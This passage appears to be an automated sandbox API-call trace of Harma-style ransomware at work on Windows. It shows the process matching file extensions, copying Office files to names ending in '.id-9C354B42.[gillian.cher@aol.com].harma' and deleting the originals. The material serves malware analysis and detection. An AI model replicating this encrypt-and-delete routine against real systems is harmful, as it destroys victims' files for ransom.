lstrlenW (lpString=".xls") returned 4 [0165.181] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0165.181] lstrlenW (lpString=".xlsx") returned 5 [0165.181] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0165.181] lstrlenW (lpString=".ppt") returned 4 [0165.181] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0165.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.181] lstrlenW (lpString=".zip") returned 4 [0165.181] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0165.181] lstrlenW (lpString=".rar") returned 4 [0165.181] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0165.181] lstrlenW (lpString=".bz2") returned 4 [0165.181] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0165.181] lstrlenW (lpString=".7z") returned 3 [0165.181] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0165.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.181] lstrlenW (lpString=".dbf") returned 4 [0165.181] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0165.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.181] lstrlenW (lpString=".1cd") returned 4 [0165.181] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0165.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.182] lstrlenW (lpString=".jpg") returned 4 [0165.182] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0165.182] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0165.182] lstrlenW (lpString="WINPROJ_F_COL.HXK") returned 17 [0165.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.184] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=114) returned 1 [0165.184] CloseHandle (hObject=0x208) returned 1 [0165.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 0x20 [0165.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.185] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.185] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.186] GetLastError () returned 0x0 [0165.186] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x72, lpOverlapped=0x0) returned 1 [0165.188] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0165.189] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.189] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0165.189] SetEndOfFile (hFile=0x370) returned 1 [0165.189] CloseHandle (hObject=0x370) returned 1 [0165.189] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.189] SetEndOfFile (hFile=0x208) returned 1 [0165.193] CloseHandle (hObject=0x208) returned 1 [0165.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 1 [0165.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.194] lstrlenW (lpString=".doc") returned 4 [0165.194] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.195] lstrlenW (lpString=".docx") returned 5 [0165.195] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.195] lstrlenW (lpString=".pdf") returned 4 [0165.195] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.195] lstrlenW (lpString=".xls") returned 4 [0165.195] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.195] lstrlenW (lpString=".xlsx") returned 5 [0165.195] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.195] lstrlenW (lpString=".ppt") returned 4 [0165.195] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.195] lstrlenW (lpString=".zip") returned 4 [0165.195] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.195] lstrlenW (lpString=".rar") returned 4 [0165.195] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.195] lstrlenW (lpString=".bz2") returned 4 [0165.195] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.195] lstrlenW (lpString=".7z") returned 3 [0165.195] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.195] lstrlenW (lpString=".dbf") returned 4 [0165.195] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.195] lstrlenW (lpString=".1cd") returned 4 [0165.196] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.196] lstrlenW (lpString=".jpg") returned 4 [0165.196] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.196] lstrlenW (lpString=".doc") returned 4 [0165.196] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.196] lstrlenW (lpString=".docx") returned 5 [0165.196] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.196] lstrlenW (lpString=".pdf") returned 4 [0165.196] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.196] lstrlenW (lpString=".xls") returned 4 [0165.196] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.196] lstrlenW (lpString=".xlsx") returned 5 [0165.196] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.196] lstrlenW (lpString=".ppt") returned 4 [0165.196] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.196] lstrlenW (lpString=".zip") returned 4 [0165.196] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.196] lstrlenW (lpString=".rar") returned 4 [0165.196] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.196] lstrlenW (lpString=".bz2") returned 4 [0165.197] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.197] lstrlenW (lpString=".7z") returned 3 [0165.197] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.197] lstrlenW (lpString=".dbf") returned 4 [0165.197] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.197] lstrlenW (lpString=".1cd") returned 4 [0165.197] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0165.197] lstrlenW (lpString=".jpg") returned 4 [0165.197] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.197] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0165.197] lstrlenW (lpString="WINPROJ_K_COL.HXK") returned 17 [0165.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.198] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=113) returned 1 [0165.198] CloseHandle (hObject=0x208) returned 1 [0165.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 0x20 [0165.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.199] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.199] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.200] GetLastError () returned 0x0 [0165.200] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x71, lpOverlapped=0x0) returned 1 [0165.201] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0165.203] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.203] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0165.203] SetEndOfFile (hFile=0x370) returned 1 [0165.203] CloseHandle (hObject=0x370) returned 1 [0165.203] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.203] SetEndOfFile (hFile=0x208) returned 1 [0165.207] CloseHandle (hObject=0x208) returned 1 [0165.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 1 [0165.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.208] lstrlenW (lpString=".doc") returned 4 [0165.208] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.208] lstrlenW (lpString=".docx") returned 5 [0165.208] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.209] lstrlenW (lpString=".pdf") returned 4 [0165.209] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.209] lstrlenW (lpString=".xls") returned 4 [0165.209] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.209] lstrlenW (lpString=".xlsx") returned 5 [0165.209] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.209] lstrlenW (lpString=".ppt") returned 4 [0165.209] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.209] lstrlenW (lpString=".zip") returned 4 [0165.209] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.209] lstrlenW (lpString=".rar") returned 4 [0165.209] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.209] lstrlenW (lpString=".bz2") returned 4 [0165.209] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.209] lstrlenW (lpString=".7z") returned 3 [0165.209] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.209] lstrlenW (lpString=".dbf") returned 4 [0165.209] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.209] lstrlenW (lpString=".1cd") returned 4 [0165.209] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.209] lstrlenW (lpString=".jpg") returned 4 [0165.209] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.210] lstrlenW (lpString=".doc") returned 4 [0165.210] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.210] lstrlenW (lpString=".docx") returned 5 [0165.210] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.210] lstrlenW (lpString=".pdf") returned 4 [0165.210] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.210] lstrlenW (lpString=".xls") returned 4 [0165.210] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.210] lstrlenW (lpString=".xlsx") returned 5 [0165.210] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.210] lstrlenW (lpString=".ppt") returned 4 [0165.210] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.210] lstrlenW (lpString=".zip") returned 4 [0165.210] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.210] lstrlenW (lpString=".rar") returned 4 [0165.210] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.210] lstrlenW (lpString=".bz2") returned 4 [0165.210] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.210] lstrlenW (lpString=".7z") returned 3 [0165.210] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.210] lstrlenW (lpString=".dbf") returned 4 [0165.211] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.211] lstrlenW (lpString=".1cd") returned 4 [0165.211] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0165.211] lstrlenW (lpString=".jpg") returned 4 [0165.211] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.211] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0165.211] lstrlenW (lpString="WINSCHD.VRD") returned 11 [0165.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.212] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1544) returned 1 [0165.213] CloseHandle (hObject=0x208) returned 1 [0165.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 0x20 [0165.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.213] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.213] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.214] GetLastError () returned 0x0 [0165.214] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x608, lpOverlapped=0x0) returned 1 [0165.249] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x610, lpOverlapped=0x0) returned 1 [0165.250] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.250] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0165.250] SetEndOfFile (hFile=0x370) returned 1 [0165.250] CloseHandle (hObject=0x370) returned 1 [0165.251] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.251] SetEndOfFile (hFile=0x208) returned 1 [0165.253] CloseHandle (hObject=0x208) returned 1 [0165.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 1 [0165.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.256] lstrlenW (lpString=".doc") returned 4 [0165.256] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0165.256] lstrlenW (lpString=".docx") returned 5 [0165.256] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0165.256] lstrlenW (lpString=".pdf") returned 4 [0165.256] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0165.256] lstrlenW (lpString=".xls") returned 4 [0165.256] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0165.256] lstrlenW (lpString=".xlsx") returned 5 [0165.256] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0165.256] lstrlenW (lpString=".ppt") returned 4 [0165.256] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0165.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.256] lstrlenW (lpString=".zip") returned 4 [0165.256] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0165.256] lstrlenW (lpString=".rar") returned 4 [0165.256] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0165.256] lstrlenW (lpString=".bz2") returned 4 [0165.256] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0165.256] lstrlenW (lpString=".7z") returned 3 [0165.256] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0165.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.256] lstrlenW (lpString=".dbf") returned 4 [0165.257] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0165.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.257] lstrlenW (lpString=".1cd") returned 4 [0165.257] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0165.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.257] lstrlenW (lpString=".jpg") returned 4 [0165.257] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0165.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.257] lstrlenW (lpString=".doc") returned 4 [0165.257] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0165.257] lstrlenW (lpString=".docx") returned 5 [0165.257] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0165.257] lstrlenW (lpString=".pdf") returned 4 [0165.257] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0165.257] lstrlenW (lpString=".xls") returned 4 [0165.257] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0165.257] lstrlenW (lpString=".xlsx") returned 5 [0165.257] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0165.257] lstrlenW (lpString=".ppt") returned 4 [0165.257] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0165.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.257] lstrlenW (lpString=".zip") returned 4 [0165.257] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0165.258] lstrlenW (lpString=".rar") returned 4 [0165.258] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0165.258] lstrlenW (lpString=".bz2") returned 4 [0165.258] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0165.258] lstrlenW (lpString=".7z") returned 3 [0165.258] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0165.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.258] lstrlenW (lpString=".dbf") returned 4 [0165.258] 